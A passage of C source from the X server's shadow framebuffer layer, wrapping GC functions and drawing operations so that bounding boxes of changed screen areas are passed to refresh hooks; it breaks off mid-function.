static void ShadowCopyClip(GCPtr, GCPtr);
GCFuncs ShadowGCFuncs = {
ShadowValidateGC, ShadowChangeGC, ShadowCopyGC, ShadowDestroyGC,
ShadowChangeClip, ShadowDestroyClip, ShadowCopyClip
};
extern GCOps ShadowGCOps;
static Bool
ShadowCreateGC(GCPtr pGC)
{
ScreenPtr pScreen = pGC->pScreen;
ShadowScreenPtr pPriv = GET_SCREEN_PRIVATE(pScreen);
ShadowGCPtr pGCPriv = GET_GC_PRIVATE(pGC);
Bool ret;
pScreen->CreateGC = pPriv->CreateGC;
if((ret = (*pScreen->CreateGC) (pGC))) {
pGCPriv->ops = NULL;
pGCPriv->funcs = pGC->funcs;
pGC->funcs = &ShadowGCFuncs;
}
pScreen->CreateGC = ShadowCreateGC;
return ret;
}
static void
ShadowValidateGC(
GCPtr pGC,
unsigned long changes,
DrawablePtr pDraw
){
SHADOW_GC_FUNC_PROLOGUE (pGC);
(*pGC->funcs->ValidateGC)(pGC, changes, pDraw);
if(pDraw->type == DRAWABLE_WINDOW)
pGCPriv->ops = pGC->ops; /* just so it's not NULL */
else
pGCPriv->ops = NULL;
SHADOW_GC_FUNC_EPILOGUE (pGC);
}
static void
ShadowDestroyGC(GCPtr pGC)
{
SHADOW_GC_FUNC_PROLOGUE (pGC);
(*pGC->funcs->DestroyGC)(pGC);
SHADOW_GC_FUNC_EPILOGUE (pGC);
}
static void
ShadowChangeGC (
GCPtr pGC,
unsigned long mask
){
SHADOW_GC_FUNC_PROLOGUE (pGC);
(*pGC->funcs->ChangeGC) (pGC, mask);
SHADOW_GC_FUNC_EPILOGUE (pGC);
}
static void
ShadowCopyGC (
GCPtr pGCSrc,
unsigned long mask,
GCPtr pGCDst
){
SHADOW_GC_FUNC_PROLOGUE (pGCDst);
(*pGCDst->funcs->CopyGC) (pGCSrc, mask, pGCDst);
SHADOW_GC_FUNC_EPILOGUE (pGCDst);
}
static void
ShadowChangeClip (
GCPtr pGC,
int type,
pointer pvalue,
int nrects
){
SHADOW_GC_FUNC_PROLOGUE (pGC);
(*pGC->funcs->ChangeClip) (pGC, type, pvalue, nrects);
SHADOW_GC_FUNC_EPILOGUE (pGC);
}
static void
ShadowCopyClip(GCPtr pgcDst, GCPtr pgcSrc)
{
SHADOW_GC_FUNC_PROLOGUE (pgcDst);
(* pgcDst->funcs->CopyClip)(pgcDst, pgcSrc);
SHADOW_GC_FUNC_EPILOGUE (pgcDst);
}
static void
ShadowDestroyClip(GCPtr pGC)
{
SHADOW_GC_FUNC_PROLOGUE (pGC);
(* pGC->funcs->DestroyClip)(pGC);
SHADOW_GC_FUNC_EPILOGUE (pGC);
}
/**********************************************************/
static void
ShadowFillSpans(
DrawablePtr pDraw,
GC *pGC,
int nInit,
DDXPointPtr pptInit,
int *pwidthInit,
int fSorted
){
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && nInit) {
DDXPointPtr ppt = pptInit;
int *pwidth = pwidthInit;
int i = nInit;
BoxRec box;
Bool boxNotEmpty = FALSE;
box.x1 = ppt->x;
box.x2 = box.x1 + *pwidth;
box.y2 = box.y1 = ppt->y;
while(--i) {
ppt++;
pwidth++;
if(box.x1 > ppt->x) box.x1 = ppt->x;
if(box.x2 < (ppt->x + *pwidth))
box.x2 = ppt->x + *pwidth;
if(box.y1 > ppt->y) box.y1 = ppt->y;
else if(box.y2 < ppt->y) box.y2 = ppt->y;
}
box.y2++;
if(!pGC->miTranslate) {
TRANSLATE_BOX(box, pDraw);
}
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
(*pGC->ops->FillSpans)(pDraw, pGC, nInit, pptInit, pwidthInit, fSorted);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
} else
(*pGC->ops->FillSpans)(pDraw, pGC, nInit, pptInit, pwidthInit, fSorted);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowSetSpans(
DrawablePtr pDraw,
GCPtr pGC,
char *pcharsrc,
DDXPointPtr pptInit,
int *pwidthInit,
int nspans,
int fSorted
){
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && nspans) {
DDXPointPtr ppt = pptInit;
int *pwidth = pwidthInit;
int i = nspans;
BoxRec box;
Bool boxNotEmpty = FALSE;
box.x1 = ppt->x;
box.x2 = box.x1 + *pwidth;
box.y2 = box.y1 = ppt->y;
while(--i) {
ppt++;
pwidth++;
if(box.x1 > ppt->x) box.x1 = ppt->x;
if(box.x2 < (ppt->x + *pwidth))
box.x2 = ppt->x + *pwidth;
if(box.y1 > ppt->y) box.y1 = ppt->y;
else if(box.y2 < ppt->y) box.y2 = ppt->y;
}
box.y2++;
if(!pGC->miTranslate) {
TRANSLATE_BOX(box, pDraw);
}
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
(*pGC->ops->SetSpans)(pDraw, pGC, pcharsrc, pptInit,
pwidthInit, nspans, fSorted);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
} else
(*pGC->ops->SetSpans)(pDraw, pGC, pcharsrc, pptInit,
pwidthInit, nspans, fSorted);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowPutImage(
DrawablePtr pDraw,
GCPtr pGC,
int depth,
int x, int y, int w, int h,
int leftPad,
int format,
char *pImage
){
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw)) {
box.x1 = x + pDraw->x;
box.x2 = box.x1 + w;
box.y1 = y + pDraw->y;
box.y2 = box.y1 + h;
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
(*pGC->ops->PutImage)(pDraw, pGC, depth, x, y, w, h,
leftPad, format, pImage);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static RegionPtr
ShadowCopyArea(
DrawablePtr pSrc,
DrawablePtr pDst,
GC *pGC,
int srcx, int srcy,
int width, int height,
int dstx, int dsty
){
RegionPtr ret;
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDst)) {
box.x1 = dstx + pDst->x;
box.x2 = box.x1 + width;
box.y1 = dsty + pDst->y;
box.y2 = box.y1 + height;
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
ret = (*pGC->ops->CopyArea)(pSrc, pDst,
pGC, srcx, srcy, width, height, dstx, dsty);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
return ret;
}
static RegionPtr
ShadowCopyPlane(
DrawablePtr pSrc,
DrawablePtr pDst,
GCPtr pGC,
int srcx, int srcy,
int width, int height,
int dstx, int dsty,
unsigned long bitPlane
){
RegionPtr ret;
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDst)) {
box.x1 = dstx + pDst->x;
box.x2 = box.x1 + width;
box.y1 = dsty + pDst->y;
box.y2 = box.y1 + height;
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
ret = (*pGC->ops->CopyPlane)(pSrc, pDst,
pGC, srcx, srcy, width, height, dstx, dsty, bitPlane);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
return ret;
}
static void
ShadowPolyPoint(
DrawablePtr pDraw,
GCPtr pGC,
int mode,
int nptInit,
xPoint *pptInit
){
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && nptInit) {
xPoint *ppt = pptInit;
int npt = nptInit;
box.x2 = box.x1 = pptInit->x;
box.y2 = box.y1 = pptInit->y;
/* this could be slow if the points were spread out */
while(--npt) {
ppt++;
if(box.x1 > ppt->x) box.x1 = ppt->x;
else if(box.x2 < ppt->x) box.x2 = ppt->x;
if(box.y1 > ppt->y) box.y1 = ppt->y;
else if(box.y2 < ppt->y) box.y2 = ppt->y;
}
box.x2++;
box.y2++;
TRIM_AND_TRANSLATE_BOX(box, pDraw, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
(*pGC->ops->PolyPoint)(pDraw, pGC, mode, nptInit, pptInit);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowPolylines(
DrawablePtr pDraw,
GCPtr pGC,
int mode,
int nptInit,
DDXPointPtr pptInit
){
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && nptInit) {
DDXPointPtr ppt = pptInit;
int npt = nptInit;
int extra = pGC->lineWidth >> 1;
box.x2 = box.x1 = pptInit->x;
box.y2 = box.y1 = pptInit->y;
if(npt > 1) {
if(pGC->joinStyle == JoinMiter)
extra = 6 * pGC->lineWidth;
else if(pGC->capStyle == CapProjecting)
extra = pGC->lineWidth;
}
if(mode == CoordModePrevious) {
int x = box.x1;
int y = box.y1;
while(--npt) {
ppt++;
x += ppt->x;
y += ppt->y;
if(box.x1 > x) box.x1 = x;
else if(box.x2 < x) box.x2 = x;
if(box.y1 > y) box.y1 = y;
else if(box.y2 < y) box.y2 = y;
}
} else {
while(--npt) {
ppt++;
if(box.x1 > ppt->x) box.x1 = ppt->x;
else if(box.x2 < ppt->x) box.x2 = ppt->x;
if(box.y1 > ppt->y) box.y1 = ppt->y;
else if(box.y2 < ppt->y) box.y2 = ppt->y;
}
}
box.x2++;
box.y2++;
if(extra) {
box.x1 -= extra;
box.x2 += extra;
box.y1 -= extra;
box.y2 += extra;
}
TRIM_AND_TRANSLATE_BOX(box, pDraw, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
(*pGC->ops->Polylines)(pDraw, pGC, mode, nptInit, pptInit);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowPolySegment(
DrawablePtr pDraw,
GCPtr pGC,
int nsegInit,
xSegment *pSegInit
){
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && nsegInit) {
int extra = pGC->lineWidth;
xSegment *pSeg = pSegInit;
int nseg = nsegInit;
if(pGC->capStyle != CapProjecting)
extra >>= 1;
if(pSeg->x2 > pSeg->x1) {
box.x1 = pSeg->x1;
box.x2 = pSeg->x2;
} else {
box.x2 = pSeg->x1;
box.x1 = pSeg->x2;
}
if(pSeg->y2 > pSeg->y1) {
box.y1 = pSeg->y1;
box.y2 = pSeg->y2;
} else {
box.y2 = pSeg->y1;
box.y1 = pSeg->y2;
}
while(--nseg) {
pSeg++;
if(pSeg->x2 > pSeg->x1) {
if(pSeg->x1 < box.x1) box.x1 = pSeg->x1;
if(pSeg->x2 > box.x2) box.x2 = pSeg->x2;
} else {
if(pSeg->x2 < box.x1) box.x1 = pSeg->x2;
if(pSeg->x1 > box.x2) box.x2 = pSeg->x1;
}
if(pSeg->y2 > pSeg->y1) {
if(pSeg->y1 < box.y1) box.y1 = pSeg->y1;
if(pSeg->y2 > box.y2) box.y2 = pSeg->y2;
} else {
if(pSeg->y2 < box.y1) box.y1 = pSeg->y2;
if(pSeg->y1 > box.y2) box.y2 = pSeg->y1;
}
}
box.x2++;
box.y2++;
if(extra) {
box.x1 -= extra;
box.x2 += extra;
box.y1 -= extra;
box.y2 += extra;
}
TRIM_AND_TRANSLATE_BOX(box, pDraw, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
(*pGC->ops->PolySegment)(pDraw, pGC, nsegInit, pSegInit);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowPolyRectangle(
DrawablePtr pDraw,
GCPtr pGC,
int nRectsInit,
xRectangle *pRectsInit
){
BoxRec box;
BoxPtr pBoxInit = NULL;
Bool boxNotEmpty = FALSE;
int num = 0;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && nRectsInit) {
xRectangle *pRects = pRectsInit;
int nRects = nRectsInit;
if(nRects >= 32) {
int extra = pGC->lineWidth >> 1;
box.x1 = pRects->x;
box.x2 = box.x1 + pRects->width;
box.y1 = pRects->y;
box.y2 = box.y1 + pRects->height;
while(--nRects) {
pRects++;
if(box.x1 > pRects->x) box.x1 = pRects->x;
if(box.x2 < (pRects->x + pRects->width))
box.x2 = pRects->x + pRects->width;
if(box.y1 > pRects->y) box.y1 = pRects->y;
if(box.y2 < (pRects->y + pRects->height))
box.y2 = pRects->y + pRects->height;
}
if(extra) {
box.x1 -= extra;
box.x2 += extra;
box.y1 -= extra;
box.y2 += extra;
}
box.x2++;
box.y2++;
TRIM_AND_TRANSLATE_BOX(box, pDraw, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
} else {
BoxPtr pbox;
int offset1, offset2, offset3;
offset2 = pGC->lineWidth;
if(!offset2) offset2 = 1;
offset1 = offset2 >> 1;
offset3 = offset2 - offset1;
pBoxInit = (BoxPtr)malloc(nRects * 4 * sizeof(BoxRec));
pbox = pBoxInit;
while(nRects--) {
pbox->x1 = pRects->x - offset1;
pbox->y1 = pRects->y - offset1;
pbox->x2 = pbox->x1 + pRects->width + offset2;
pbox->y2 = pbox->y1 + offset2;
TRIM_AND_TRANSLATE_BOX((*pbox), pDraw, pGC);
if(BOX_NOT_EMPTY((*pbox))) {
num++;
pbox++;
}
pbox->x1 = pRects->x - offset1;
pbox->y1 = pRects->y + offset3;
pbox->x2 = pbox->x1 + offset2;
pbox->y2 = pbox->y1 + pRects->height - offset2;
TRIM_AND_TRANSLATE_BOX((*pbox), pDraw, pGC);
if(BOX_NOT_EMPTY((*pbox))) {
num++;
pbox++;
}
pbox->x1 = pRects->x + pRects->width - offset1;
pbox->y1 = pRects->y + offset3;
pbox->x2 = pbox->x1 + offset2;
pbox->y2 = pbox->y1 + pRects->height - offset2;
TRIM_AND_TRANSLATE_BOX((*pbox), pDraw, pGC);
if(BOX_NOT_EMPTY((*pbox))) {
num++;
pbox++;
}
pbox->x1 = pRects->x - offset1;
pbox->y1 = pRects->y + pRects->height - offset1;
pbox->x2 = pbox->x1 + pRects->width + offset2;
pbox->y2 = pbox->y1 + offset2;
TRIM_AND_TRANSLATE_BOX((*pbox), pDraw, pGC);
if(BOX_NOT_EMPTY((*pbox))) {
num++;
pbox++;
}
pRects++;
}
if(num) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, num, pBoxInit);
} else {
free(pBoxInit);
}
}
}
(*pGC->ops->PolyRectangle)(pDraw, pGC, nRectsInit, pRectsInit);
if(boxNotEmpty && pPriv->postRefresh) {
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
} else if(num) {
if(pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, num, pBoxInit);
free(pBoxInit);
}
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowPolyArc(
DrawablePtr pDraw,
GCPtr pGC,
int narcsInit,
xArc *parcsInit
){
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && narcsInit) {
int narcs = narcsInit;
xArc *parcs = parcsInit;
int extra = pGC->lineWidth >> 1;
box.x1 = parcs->x;
box.x2 = box.x1 + parcs->width;
box.y1 = parcs->y;
box.y2 = box.y1 + parcs->height;
/* should I break these up instead ? */
while(--narcs) {
parcs++;
if(box.x1 > parcs->x) box.x1 = parcs->x;
if(box.x2 < (parcs->x + parcs->width))
box.x2 = parcs->x + parcs->width;
if(box.y1 > parcs->y) box.y1 = parcs->y;
if(box.y2 < (parcs->y + parcs->height))
box.y2 = parcs->y + parcs->height;
}
if(extra) {
box.x1 -= extra;
box.x2 += extra;
box.y1 -= extra;
box.y2 += extra;
}
box.x2++;
box.y2++;
TRIM_AND_TRANSLATE_BOX(box, pDraw, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
(*pGC->ops->PolyArc)(pDraw, pGC, narcsInit, parcsInit);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowFillPolygon(
DrawablePtr pDraw,
GCPtr pGC,
int shape,
int mode,
int count,
DDXPointPtr pptInit
){
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && (count > 2)) {
DDXPointPtr ppt = pptInit;
int i = count;
BoxRec box;
Bool boxNotEmpty = FALSE;
box.x2 = box.x1 = ppt->x;
box.y2 = box.y1 = ppt->y;
if(mode != CoordModeOrigin) {
int x = box.x1;
int y = box.y1;
while(--i) {
ppt++;
x += ppt->x;
y += ppt->y;
if(box.x1 > x) box.x1 = x;
else if(box.x2 < x) box.x2 = x;
if(box.y1 > y) box.y1 = y;
else if(box.y2 < y) box.y2 = y;
}
} else {
while(--i) {
ppt++;
if(box.x1 > ppt->x) box.x1 = ppt->x;
else if(box.x2 < ppt->x) box.x2 = ppt->x;
if(box.y1 > ppt->y) box.y1 = ppt->y;
else if(box.y2 < ppt->y) box.y2 = ppt->y;
}
}
box.x2++;
box.y2++;
TRIM_AND_TRANSLATE_BOX(box, pDraw, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
(*pGC->ops->FillPolygon)(pDraw, pGC, shape, mode, count, pptInit);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
} else
(*pGC->ops->FillPolygon)(pDraw, pGC, shape, mode, count, pptInit);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowPolyFillRect(
DrawablePtr pDraw,
GCPtr pGC,
int nRectsInit,
xRectangle *pRectsInit
){
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && nRectsInit) {
BoxRec box;
Bool boxNotEmpty = FALSE;
xRectangle *pRects = pRectsInit;
int nRects = nRectsInit;
box.x1 = pRects->x;
box.x2 = box.x1 + pRects->width;
box.y1 = pRects->y;
box.y2 = box.y1 + pRects->height;
while(--nRects) {
pRects++;
if(box.x1 > pRects->x) box.x1 = pRects->x;
if(box.x2 < (pRects->x + pRects->width))
box.x2 = pRects->x + pRects->width;
if(box.y1 > pRects->y) box.y1 = pRects->y;
if(box.y2 < (pRects->y + pRects->height))
box.y2 = pRects->y + pRects->height;
}
/* cfb messes with the pRectsInit so we have to do our
calculations first */
TRIM_AND_TRANSLATE_BOX(box, pDraw, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
(*pGC->ops->PolyFillRect)(pDraw, pGC, nRectsInit, pRectsInit);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
} else
(*pGC->ops->PolyFillRect)(pDraw, pGC, nRectsInit, pRectsInit);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowPolyFillArc(
DrawablePtr pDraw,
GCPtr pGC,
int narcsInit,
xArc *parcsInit
){
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && narcsInit) {
xArc *parcs = parcsInit;
int narcs = narcsInit;
box.x1 = parcs->x;
box.x2 = box.x1 + parcs->width;
box.y1 = parcs->y;
box.y2 = box.y1 + parcs->height;
/* should I break these up instead ? */
while(--narcs) {
parcs++;
if(box.x1 > parcs->x) box.x1 = parcs->x;
if(box.x2 < (parcs->x + parcs->width))
box.x2 = parcs->x + parcs->width;
if(box.y1 > parcs->y) box.y1 = parcs->y;
if(box.y2 < (parcs->y + parcs->height))
box.y2 = parcs->y + parcs->height;
}
TRIM_AND_TRANSLATE_BOX(box, pDraw, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
(*pGC->ops->PolyFillArc)(pDraw, pGC, narcsInit, parcsInit);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowTextExtent(FontPtr pFont, int count, char* chars,
FontEncoding fontEncoding, BoxPtr box)
{
unsigned long n, i;
int w;
CharInfoPtr charinfo[255]; /* encoding only has 1 byte for count */
GetGlyphs(pFont, (unsigned long)count, (unsigned char *)chars,
fontEncoding, &n, charinfo);
w = 0;
for (i=0; i < n; i++) {
w += charinfo[i]->metrics.characterWidth;
}
if (i) {
w += charinfo[i - 1]->metrics.rightSideBearing;
}
box->x1 = 0;
if (n) {
if (charinfo[0]->metrics.leftSideBearing < 0) {
box->x1 = charinfo[0]->metrics.leftSideBearing;
}
}
box->x2 = w;
box->y1 = -FONTMAXBOUNDS(pFont,ascent);
box->y2 = FONTMAXBOUNDS(pFont,descent);
}
static void
ShadowFontToBox(BoxPtr BB, DrawablePtr pDrawable, GCPtr pGC, int x, int y,
int count, char *chars, int wide)
{
FontPtr pFont;
pFont = pGC->font;
if (pFont->info.constantWidth) {
int ascent, descent, left, right = 0;
ascent = max(pFont->info.fontAscent, pFont->info.maxbounds.ascent);
descent = max(pFont->info.fontDescent, pFont->info.maxbounds.descent);
left = pFont->info.maxbounds.leftSideBearing;
if (count > 0) {
right = (count - 1) * pFont->info.maxbounds.characterWidth;
}
right += pFont->info.maxbounds.rightSideBearing;
BB->x1 =
max(pDrawable->x + x - left,
RegionExtents(&((WindowPtr) pDrawable)->winSize)->x1);
BB->y1 =
max(pDrawable->y + y - ascent,
RegionExtents(&((WindowPtr) pDrawable)->winSize)->y1);
BB->x2 =
min(pDrawable->x + x + right,
RegionExtents(&((WindowPtr) pDrawable)->winSize)->x2);
BB->y2 =
min(pDrawable->y + y + descent,
RegionExtents(&((WindowPtr) pDrawable)->winSize)->y2);
} else {
ShadowTextExtent(pFont, count, chars, wide ? (FONTLASTROW(pFont) == 0)
? Linear16Bit : TwoD16Bit : Linear8Bit, BB);
BB->x1 =
max(pDrawable->x + x + BB->x1,
RegionExtents(&((WindowPtr) pDrawable)->winSize)->x1);
BB->y1 =
max(pDrawable->y + y + BB->y1,
RegionExtents(&((WindowPtr) pDrawable)->winSize)->y1);
BB->x2 =
min(pDrawable->x + x + BB->x2,
RegionExtents(&((WindowPtr) pDrawable)->winSize)->x2);
BB->y2 =
min(pDrawable->y + y + BB->y2,
RegionExtents(&((WindowPtr) pDrawable)->winSize)->y2);
}
}
static int
ShadowPolyText8(
DrawablePtr pDraw,
GCPtr pGC,
int x,
int y,
int count,
char *chars
){
int width;
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw)) {
ShadowFontToBox(&box, pDraw, pGC, x, y, count, chars, 0);
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
width = (*pGC->ops->PolyText8)(pDraw, pGC, x, y, count, chars);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
return width;
}
static int
ShadowPolyText16(
DrawablePtr pDraw,
GCPtr pGC,
int x,
int y,
int count,
unsigned short *chars
){
int width;
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw)) {
ShadowFontToBox(&box, pDraw, pGC, x, y, count, (char*)chars, 1);
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
width = (*pGC->ops->PolyText16)(pDraw, pGC, x, y, count, chars);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
return width;
}
static void
ShadowImageText8(
DrawablePtr pDraw,
GCPtr pGC,
int x,
int y,
int count,
char *chars
){
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && count) {
int top, bot, Min, Max;
top = max(FONTMAXBOUNDS(pGC->font, ascent), FONTASCENT(pGC->font));
bot = max(FONTMAXBOUNDS(pGC->font, descent), FONTDESCENT(pGC->font));
Min = count * FONTMINBOUNDS(pGC->font, characterWidth);
if(Min > 0) Min = 0;
Max = count * FONTMAXBOUNDS(pGC->font, characterWidth);
if(Max < 0) Max = 0;
/* ugh */
box.x1 = pDraw->x + x + Min +
FONTMINBOUNDS(pGC->font, leftSideBearing);
box.x2 = pDraw->x + x + Max +
FONTMAXBOUNDS(pGC->font, rightSideBearing);
box.y1 = pDraw->y + y - top;
box.y2 = pDraw->y + y + bot;
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
(*pGC->ops->ImageText8)(pDraw, pGC, x, y, count, chars);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowImageText16(
DrawablePtr pDraw,
GCPtr pGC,
int x,
int y,
int count,
unsigned short *chars
){
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && count) {
int top, bot, Min, Max;
top = max(FONTMAXBOUNDS(pGC->font, ascent), FONTASCENT(pGC->font));
bot = max(FONTMAXBOUNDS(pGC->font, descent), FONTDESCENT(pGC->font));
Min = count * FONTMINBOUNDS(pGC->font, characterWidth);
if(Min > 0) Min = 0;
Max = count * FONTMAXBOUNDS(pGC->font, characterWidth);
if(Max < 0) Max = 0;
/* ugh */
box.x1 = pDraw->x + x + Min +
FONTMINBOUNDS(pGC->font, leftSideBearing);
box.x2 = pDraw->x + x + Max +
FONTMAXBOUNDS(pGC->font, rightSideBearing);
box.y1 = pDraw->y + y - top;
box.y2 = pDraw->y + y + bot;
TRIM_BOX(box, pGC);
if(BOX_NOT_EMPTY(box)) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
(*pGC->ops->ImageText16)(pDraw, pGC, x, y, count, chars);
if(boxNotEmpty && pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
SHADOW_GC_OP_EPILOGUE(pGC);
}
static void
ShadowImageGlyphBlt(
DrawablePtr pDraw,
GCPtr pGC,
int x, int y,
unsigned int nglyphInit,
CharInfoPtr *ppciInit,
pointer pglyphBase
){
BoxRec box;
Bool boxNotEmpty = FALSE;
SHADOW_GC_OP_PROLOGUE(pGC);
if(IS_VISIBLE(pDraw) && nglyphInit) {
CharInfoPtr *ppci = ppciInit;
unsigned int nglyph = nglyphInit;
int top, bot, width = 0;
top = max(FONTMAXBOUNDS(pGC->font, ascent), FONTASCENT(pGC->font));
bot = max(FONTMAXBOUNDS(pGC->font, descent), FONTDESCENT(pGC->font));
box.x1 = ppci[0]->metrics.leftSideBearing;
if(box.x1 > 0) box.x1 = 0;
box.x2 = ppci[nglyph - 1]->metrics.rightSideBearing -
ppci[nglyph - 1]->metrics.characterWidth;
if(box.x2 < 0) box.x2 = 0;
box.x2 += pDraw->x + x;
box.x1 += pDraw->x + x;
while(nglyph--) {
width += (*ppci)->metrics.characterWidth;
ppci++;
}
if(width > 0)
